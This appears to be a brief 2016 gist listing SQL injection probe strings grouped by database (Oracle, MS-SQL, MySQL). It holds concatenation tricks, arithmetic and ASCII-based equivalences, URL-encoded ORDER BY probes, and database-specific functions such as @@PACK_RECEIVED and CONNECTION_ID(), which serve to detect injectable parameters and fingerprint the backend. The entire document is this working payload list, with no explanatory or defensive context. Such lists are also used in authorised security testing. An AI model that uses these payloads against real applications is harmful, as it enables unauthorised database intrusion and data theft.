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@saveeo
Created July 17, 2016 18:52
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#oracle
'||'FOO
#MS-SQL
'+'FOO
#mysql
' 'FOO
%
1+1
67-ASCII('A') ##equivalent 2
51-ASCII(1)
1%2b1
1%20ASC --
1%20DESC --
1
'hack' 'ker'
'hack'+'ker'
'hack'||'ker'
BITAND(1,1)-BITAND(1,1)
@@PACK_RECEIVED-@@PACK_RECEIVED
CONNECTION_ID()-CONNECTION_ID()
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